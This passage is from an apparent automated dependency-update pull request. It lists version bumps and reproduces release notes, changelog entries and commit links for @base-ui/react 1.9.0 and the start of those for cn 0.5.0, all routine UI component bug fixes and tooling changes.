`8.71.1` | `8.72.0` |\n| [vite](https://github.com/vitejs/vite/tree/HEAD/packages/vite) | `8.3.3` | `8.3.4` |\n| [vitest](https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest) | `5.0.3` | `5.0.5` |\n\n\nUpdates `@base-ui/react` from 1.8.0 to 1.9.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/mui/base-ui/releases\"\u003e@​base-ui/react's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev1.9.0\u003c/h2\u003e\n\u003ch3\u003eGeneral changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eExport \u003ccode\u003eCssVariables\u003c/code\u003e and \u003ccode\u003eDataAttributes\u003c/code\u003e types (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5243\"\u003e#5243\u003c/a\u003e) by \u003ca href=\"https://github.com/superhooman\"\u003e\u003ccode\u003e@​superhooman\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFix stale focused field state (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5345\"\u003e#5345\u003c/a\u003e) by \u003ca href=\"https://github.com/atomiks\"\u003e\u003ccode\u003e@​atomiks\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFix animation waits retaining detached elements (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5719\"\u003e#5719\u003c/a\u003e) by \u003ca href=\"https://github.com/flaviendelangle\"\u003e\u003ccode\u003e@​flaviendelangle\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eKeep item registration in sync when items change under Strict Mode (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5862\"\u003e#5862\u003c/a\u003e) by \u003ca href=\"https://github.com/atomiks\"\u003e\u003ccode\u003e@​atomiks\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAvoid re-rendering inactive triggers on open and close (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5865\"\u003e#5865\u003c/a\u003e) by \u003ca href=\"https://github.com/atomiks\"\u003e\u003ccode\u003e@​atomiks\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eAccordion\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFix \u003ccode\u003e\u0026lt;Accordion.Trigger\u0026gt;\u003c/code\u003e's \u003ccode\u003edata-value\u003c/code\u003e and \u003ccode\u003edata-index\u003c/code\u003e attributes (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5705\"\u003e#5705\u003c/a\u003e) by \u003ca href=\"https://github.com/cpruijsen\"\u003e\u003ccode\u003e@​cpruijsen\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eApply the native \u003ccode\u003edisabled\u003c/code\u003e attribute to \u003ccode\u003e\u0026lt;Accordion.Trigger\u0026gt;\u003c/code\u003e when using native buttons (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5607\"\u003e#5607\u003c/a\u003e) by \u003ca href=\"https://github.com/atomiks\"\u003e\u003ccode\u003e@​atomiks\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eExpand \u003ccode\u003ehiddenUntilFound\u003c/code\u003e panels synchronously on \u003ccode\u003ebeforematch\u003c/code\u003e (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5514\"\u003e#5514\u003c/a\u003e) by \u003ca href=\"https://github.com/aarongarciah\"\u003e\u003ccode\u003e@​aarongarciah\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eAlert Dialog\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eDon't associate a programmatically opened popup with a trigger that did not open it (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5641\"\u003e#5641\u003c/a\u003e) by \u003ca href=\"https://github.com/michaldudak\"\u003e\u003ccode\u003e@​michaldudak\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eAutocomplete\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFix \u003ccode\u003eautoHighlight\u003c/code\u003e for asynchronous results (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5818\"\u003e#5818\u003c/a\u003e) by \u003ca href=\"https://github.com/atomiks\"\u003e\u003ccode\u003e@​atomiks\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003ePass the originating event to \u003ccode\u003eonItemHighlighted\u003c/code\u003e. Pointer events may be \u003ccode\u003eMouseEvent\u003c/code\u003e or \u003ccode\u003ePointerEvent\u003c/code\u003e; typing reports the reason \u003ccode\u003enone\u003c/code\u003e (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5838\"\u003e#5838\u003c/a\u003e) by \u003ca href=\"https://github.com/atomiks\"\u003e\u003ccode\u003e@​atomiks\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eDecouple automatic unmounting from \u003ccode\u003eactionsRef\u003c/code\u003e. Call \u003ccode\u003eeventDetails.preventUnmountOnClose()\u003c/code\u003e in \u003ccode\u003eonOpenChange\u003c/code\u003e to opt out of automatic unmounting (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5734\"\u003e#5734\u003c/a\u003e) by \u003ca href=\"https://github.com/michaldudak\"\u003e\u003ccode\u003e@​michaldudak\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eCheckbox\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003ePrefer \u003ccode\u003earia-label\u003c/code\u003e over associated labels (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5787\"\u003e#5787\u003c/a\u003e) by \u003ca href=\"https://github.com/atomiks\"\u003e\u003ccode\u003e@​atomiks\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eCollapsible\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eApply the native \u003ccode\u003edisabled\u003c/code\u003e attribute to \u003ccode\u003e\u0026lt;Collapsible.Trigger\u0026gt;\u003c/code\u003e when using native buttons (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5607\"\u003e#5607\u003c/a\u003e) by \u003ca href=\"https://github.com/atomiks\"\u003e\u003ccode\u003e@​atomiks\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFinish closing when the render function removes the panel (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5890\"\u003e#5890\u003c/a\u003e) by \u003ca href=\"https://github.com/michaldudak\"\u003e\u003ccode\u003e@​michaldudak\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRestore animations when a removed panel reopens (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5891\"\u003e#5891\u003c/a\u003e) by \u003ca href=\"https://github.com/michaldudak\"\u003e\u003ccode\u003e@​michaldudak\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eExpand \u003ccode\u003ehiddenUntilFound\u003c/code\u003e panels synchronously on \u003ccode\u003ebeforematch\u003c/code\u003e (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5514\"\u003e#5514\u003c/a\u003e) by \u003ca href=\"https://github.com/aarongarciah\"\u003e\u003ccode\u003e@​aarongarciah\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eCombobox\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFix stale chip focus after returning to the input (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5879\"\u003e#5879\u003c/a\u003e) by \u003ca href=\"https://github.com/mdm317\"\u003e\u003ccode\u003e@​mdm317\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFix \u003ccode\u003eautoHighlight\u003c/code\u003e for asynchronous results (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5818\"\u003e#5818\u003c/a\u003e) by \u003ca href=\"https://github.com/atomiks\"\u003e\u003ccode\u003e@​atomiks\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eDecouple automatic unmounting from \u003ccode\u003eactionsRef\u003c/code\u003e. Call \u003ccode\u003eeventDetails.preventUnmountOnClose()\u003c/code\u003e in \u003ccode\u003eonOpenChange\u003c/code\u003e to opt out of automatic unmounting (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5734\"\u003e#5734\u003c/a\u003e) by \u003ca href=\"https://github.com/michaldudak\"\u003e\u003ccode\u003e@​michaldudak\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFix label focus in Shadow DOM (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5871\"\u003e#5871\u003c/a\u003e) by \u003ca href=\"https://github.com/lyzno1\"\u003e\u003ccode\u003e@​lyzno1\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003ePass the originating event to \u003ccode\u003eonItemHighlighted\u003c/code\u003e. Pointer events may be \u003ccode\u003eMouseEvent\u003c/code\u003e or \u003ccode\u003ePointerEvent\u003c/code\u003e; typing reports the reason \u003ccode\u003enone\u003c/code\u003e (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5838\"\u003e#5838\u003c/a\u003e) by \u003ca href=\"https://github.com/atomiks\"\u003e\u003ccode\u003e@​atomiks\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eReset typeahead state when closing without moving focus (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5816\"\u003e#5816\u003c/a\u003e) by \u003ca href=\"https://github.com/mdm317\"\u003e\u003ccode\u003e@​mdm317\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAccept readonly arrays for multiple values (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5710\"\u003e#5710\u003c/a\u003e) by \u003ca href=\"https://github.com/MonstraG\"\u003e\u003ccode\u003e@​MonstraG\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eShare item indicator implementation (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5728\"\u003e#5728\u003c/a\u003e) by \u003ca href=\"https://github.com/flaviendelangle\"\u003e\u003ccode\u003e@​flaviendelangle\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eImprove mount performance of large lists (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5819\"\u003e#5819\u003c/a\u003e) by \u003ca href=\"https://github.com/atomiks\"\u003e\u003ccode\u003e@​atomiks\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eCombine item store subscriptions (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5863\"\u003e#5863\u003c/a\u003e) by \u003ca href=\"https://github.com/atomiks\"\u003e\u003ccode\u003e@​atomiks\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDialog\u003c/h3\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/mui/base-ui/blob/master/CHANGELOG.md\"\u003e@​base-ui/react's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev1.9.0\u003c/h2\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003cp\u003e\u003cem\u003eOct 9, 2026\u003c/em\u003e\u003c/p\u003e\n\u003ch3\u003eGeneral changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eExport \u003ccode\u003eCssVariables\u003c/code\u003e and \u003ccode\u003eDataAttributes\u003c/code\u003e types (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5243\"\u003e#5243\u003c/a\u003e) by \u003ca href=\"https://github.com/superhooman\"\u003e\u003ccode\u003e@​superhooman\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFix stale focused field state (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5345\"\u003e#5345\u003c/a\u003e) by \u003ca href=\"https://github.com/atomiks\"\u003e\u003ccode\u003e@​atomiks\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFix animation waits retaining detached elements (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5719\"\u003e#5719\u003c/a\u003e) by \u003ca href=\"https://github.com/flaviendelangle\"\u003e\u003ccode\u003e@​flaviendelangle\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eKeep item registration in sync when items change under Strict Mode (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5862\"\u003e#5862\u003c/a\u003e) by \u003ca href=\"https://github.com/atomiks\"\u003e\u003ccode\u003e@​atomiks\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAvoid re-rendering inactive triggers on open and close (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5865\"\u003e#5865\u003c/a\u003e) by \u003ca href=\"https://github.com/atomiks\"\u003e\u003ccode\u003e@​atomiks\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eAccordion\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFix \u003ccode\u003e\u0026lt;Accordion.Trigger\u0026gt;\u003c/code\u003e's \u003ccode\u003edata-value\u003c/code\u003e and \u003ccode\u003edata-index\u003c/code\u003e attributes (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5705\"\u003e#5705\u003c/a\u003e) by \u003ca href=\"https://github.com/cpruijsen\"\u003e\u003ccode\u003e@​cpruijsen\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eApply the native \u003ccode\u003edisabled\u003c/code\u003e attribute to \u003ccode\u003e\u0026lt;Accordion.Trigger\u0026gt;\u003c/code\u003e when using native buttons (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5607\"\u003e#5607\u003c/a\u003e) by \u003ca href=\"https://github.com/atomiks\"\u003e\u003ccode\u003e@​atomiks\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eExpand \u003ccode\u003ehiddenUntilFound\u003c/code\u003e panels synchronously on \u003ccode\u003ebeforematch\u003c/code\u003e (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5514\"\u003e#5514\u003c/a\u003e) by \u003ca href=\"https://github.com/aarongarciah\"\u003e\u003ccode\u003e@​aarongarciah\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eAlert Dialog\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eDon't associate a programmatically opened popup with a trigger that did not open it (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5641\"\u003e#5641\u003c/a\u003e) by \u003ca href=\"https://github.com/michaldudak\"\u003e\u003ccode\u003e@​michaldudak\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eAutocomplete\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFix \u003ccode\u003eautoHighlight\u003c/code\u003e for asynchronous results (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5818\"\u003e#5818\u003c/a\u003e) by \u003ca href=\"https://github.com/atomiks\"\u003e\u003ccode\u003e@​atomiks\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003ePass the originating event to \u003ccode\u003eonItemHighlighted\u003c/code\u003e. Pointer events may be \u003ccode\u003eMouseEvent\u003c/code\u003e or \u003ccode\u003ePointerEvent\u003c/code\u003e; typing reports the reason \u003ccode\u003enone\u003c/code\u003e (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5838\"\u003e#5838\u003c/a\u003e) by \u003ca href=\"https://github.com/atomiks\"\u003e\u003ccode\u003e@​atomiks\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eDecouple automatic unmounting from \u003ccode\u003eactionsRef\u003c/code\u003e. Call \u003ccode\u003eeventDetails.preventUnmountOnClose()\u003c/code\u003e in \u003ccode\u003eonOpenChange\u003c/code\u003e to opt out of automatic unmounting (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5734\"\u003e#5734\u003c/a\u003e) by \u003ca href=\"https://github.com/michaldudak\"\u003e\u003ccode\u003e@​michaldudak\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eCheckbox\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003ePrefer \u003ccode\u003earia-label\u003c/code\u003e over associated labels (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5787\"\u003e#5787\u003c/a\u003e) by \u003ca href=\"https://github.com/atomiks\"\u003e\u003ccode\u003e@​atomiks\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eCollapsible\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eApply the native \u003ccode\u003edisabled\u003c/code\u003e attribute to \u003ccode\u003e\u0026lt;Collapsible.Trigger\u0026gt;\u003c/code\u003e when using native buttons (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5607\"\u003e#5607\u003c/a\u003e) by \u003ca href=\"https://github.com/atomiks\"\u003e\u003ccode\u003e@​atomiks\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFinish closing when the render function removes the panel (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5890\"\u003e#5890\u003c/a\u003e) by \u003ca href=\"https://github.com/michaldudak\"\u003e\u003ccode\u003e@​michaldudak\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRestore animations when a removed panel reopens (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5891\"\u003e#5891\u003c/a\u003e) by \u003ca href=\"https://github.com/michaldudak\"\u003e\u003ccode\u003e@​michaldudak\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eExpand \u003ccode\u003ehiddenUntilFound\u003c/code\u003e panels synchronously on \u003ccode\u003ebeforematch\u003c/code\u003e (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5514\"\u003e#5514\u003c/a\u003e) by \u003ca href=\"https://github.com/aarongarciah\"\u003e\u003ccode\u003e@​aarongarciah\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eCombobox\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFix stale chip focus after returning to the input (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5879\"\u003e#5879\u003c/a\u003e) by \u003ca href=\"https://github.com/mdm317\"\u003e\u003ccode\u003e@​mdm317\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFix \u003ccode\u003eautoHighlight\u003c/code\u003e for asynchronous results (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5818\"\u003e#5818\u003c/a\u003e) by \u003ca href=\"https://github.com/atomiks\"\u003e\u003ccode\u003e@​atomiks\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eDecouple automatic unmounting from \u003ccode\u003eactionsRef\u003c/code\u003e. Call \u003ccode\u003eeventDetails.preventUnmountOnClose()\u003c/code\u003e in \u003ccode\u003eonOpenChange\u003c/code\u003e to opt out of automatic unmounting (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5734\"\u003e#5734\u003c/a\u003e) by \u003ca href=\"https://github.com/michaldudak\"\u003e\u003ccode\u003e@​michaldudak\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFix label focus in Shadow DOM (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5871\"\u003e#5871\u003c/a\u003e) by \u003ca href=\"https://github.com/lyzno1\"\u003e\u003ccode\u003e@​lyzno1\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003ePass the originating event to \u003ccode\u003eonItemHighlighted\u003c/code\u003e. Pointer events may be \u003ccode\u003eMouseEvent\u003c/code\u003e or \u003ccode\u003ePointerEvent\u003c/code\u003e; typing reports the reason \u003ccode\u003enone\u003c/code\u003e (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5838\"\u003e#5838\u003c/a\u003e) by \u003ca href=\"https://github.com/atomiks\"\u003e\u003ccode\u003e@​atomiks\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eReset typeahead state when closing without moving focus (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5816\"\u003e#5816\u003c/a\u003e) by \u003ca href=\"https://github.com/mdm317\"\u003e\u003ccode\u003e@​mdm317\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAccept readonly arrays for multiple values (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5710\"\u003e#5710\u003c/a\u003e) by \u003ca href=\"https://github.com/MonstraG\"\u003e\u003ccode\u003e@​MonstraG\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/mui/base-ui/commit/ad7ecda5296b0295b41a51ecb01fce6204acd099\"\u003e\u003ccode\u003ead7ecda\u003c/code\u003e\u003c/a\u003e [release] v1.9.0 (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5906\"\u003e#5906\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/mui/base-ui/commit/3296de3d4c79435a596c72ad8048d74ecc241ca5\"\u003e\u003ccode\u003e3296de3\u003c/code\u003e\u003c/a\u003e [drawer] Avoid retaining unmounted drawers in DrawerProvider (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5921\"\u003e#5921\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/mui/base-ui/commit/69c33b49c71d729a1e63255dd5eb9794fa9a8d2e\"\u003e\u003ccode\u003e69c33b4\u003c/code\u003e\u003c/a\u003e [drawer] Fix deferred touch swipes leaving the popup (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5922\"\u003e#5922\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/mui/base-ui/commit/51b70db60fb2660bbb7236ba5b235a5d77d9fe22\"\u003e\u003ccode\u003e51b70db\u003c/code\u003e\u003c/a\u003e [menu] Strip internal filter components from public types (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5923\"\u003e#5923\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/mui/base-ui/commit/8d8b98c351c4d1ec9a6f80dcc89e39e454b1e53a\"\u003e\u003ccode\u003e8d8b98c\u003c/code\u003e\u003c/a\u003e [menu] Ignore filter input edits while the menu animates out (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5911\"\u003e#5911\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/mui/base-ui/commit/aeba3eb9f4613424c1a66f767bb20d25233306b6\"\u003e\u003ccode\u003eaeba3eb\u003c/code\u003e\u003c/a\u003e [combobox][menu][select] Revert highlightItem imperative action (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5910\"\u003e#5910\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/mui/base-ui/commit/ec6bf32d3c1b482994810cf795f7016c375d6493\"\u003e\u003ccode\u003eec6bf32\u003c/code\u003e\u003c/a\u003e [field][select][combobox][slider] Fall back to the owner document when lookin...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/mui/base-ui/commit/1f112a5d2399e47d052601d05ca82a58272192a6\"\u003e\u003ccode\u003e1f112a5\u003c/code\u003e\u003c/a\u003e [popups] Avoid re-rendering inactive triggers on open and close (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5865\"\u003e#5865\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/mui/base-ui/commit/bc53db672db4fa17302a95b449b376a7db52a625\"\u003e\u003ccode\u003ebc53db6\u003c/code\u003e\u003c/a\u003e [fieldset] Await render in Legend disabled-state test (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5909\"\u003e#5909\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/mui/base-ui/commit/147092ee55c2e02bcbac2e45b17640d2d317bbb7\"\u003e\u003ccode\u003e147092e\u003c/code\u003e\u003c/a\u003e [test] Strengthen tests, add test lint rules and share copied suites (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5892\"\u003e#5892\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/mui/base-ui/commits/v1.9.0/packages/react\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `cn` from 0.4.0 to 0.5.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/shadcn-ui/cn/releases\"\u003ecn's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ecn@0.5.0\u003c/h2\u003e\n\u003ch3\u003eMinor Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/shadcn-ui/cn/pull/157\"\u003e#157\u003c/a\u003e \u003ca href=\"https://github.com/shadcn-ui/cn/commit/663adeaa0ac37af101aa7790f2ce44df4a7e5043\"\u003e\u003ccode\u003e663adea\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/shadcn\"\u003e\u003ccode\u003e@​shadcn\u003c/code\u003e\u003c/a\u003e! - Drop Node 20, which reached end of life, and require Node 22 or later.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/shadcn-ui/cn/pull/164\"\u003e#164\u003c/a\u003e \u003ca href=\"https://github.com/shadcn-ui/cn/commit/64aa1d0b6c708f1a23e53ade4db6c8c278eceb75\"\u003e\u003ccode\u003e64aa1d0\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/shadcn\"\u003e\u003ccode\u003e@​shadcn\u003c/code\u003e\u003c/a\u003e! - \u003ccode\u003ecn build\u003c/code\u003e now follows package \u003ccode\u003e@import\u003c/code\u003es, reads \u003ccode\u003e@theme\u003c/code\u003e declarations after nested blocks such as \u003ccode\u003e@keyframes\u003c/code\u003e, and drops names declared before a \u003ccode\u003e--*: initial\u003c/code\u003e reset.\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/shadcn-ui/cn/blob/main/packages/cn/CHANGELOG.md\"\u003ecn's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e0.5.0\u003c/h2\u003e\n\u003ch3\u003eMinor Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/shadcn-ui/cn/pull/157\"\u003e#157\u003c/a\u003e \u003ca href=\"https://github.com/shadcn-ui/cn/commit/663adeaa0ac37af101aa7790f2ce44df4a7e5043\"\u003e\u003ccode\u003e663adea\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/shadcn\"\u003e\u003ccode\u003e@​shadcn\u003c/code\u003e\u003c/a\u003e! - Drop Node 20, which reached end of life, and require Node 22 or 